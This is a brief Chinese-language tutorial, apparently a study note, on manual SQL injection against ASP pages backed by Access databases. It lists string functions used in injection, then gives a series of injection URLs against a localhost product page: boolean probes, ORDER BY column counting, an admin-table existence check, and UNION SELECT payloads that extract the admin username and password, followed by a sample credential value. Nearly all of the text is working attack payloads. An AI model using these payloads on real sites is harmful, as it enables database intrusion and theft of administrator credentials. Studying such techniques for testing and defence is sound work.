WEB安全 asp+access注入
asp+access注入 数据库 （access数据库没有数据库名）
表名
字段(列名)
记录(行,内容) 注入常用函数：
top n 表示查询结果的第n个记录
len() 函数返回文本字段中值的长度
mid(column_name,start[,length])函数用于从文本字段中提取指定长度的字符
asc() 返回指定文本字符的ASCII码
ORDER BY 语句用于根据指定的列对结果集进行排序。默认按照升序对记录进行排序，降序使用 DESC 关键字。order by admin DESC 一、asp+access 手工注入联合查询法
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 order by 22
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 order by 23
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
admin a48e190fafc257d3 //and 1=2 UNION ALL SELECT 1,2,3,..... form admin 这种方法也用于先报错再获取可显示位
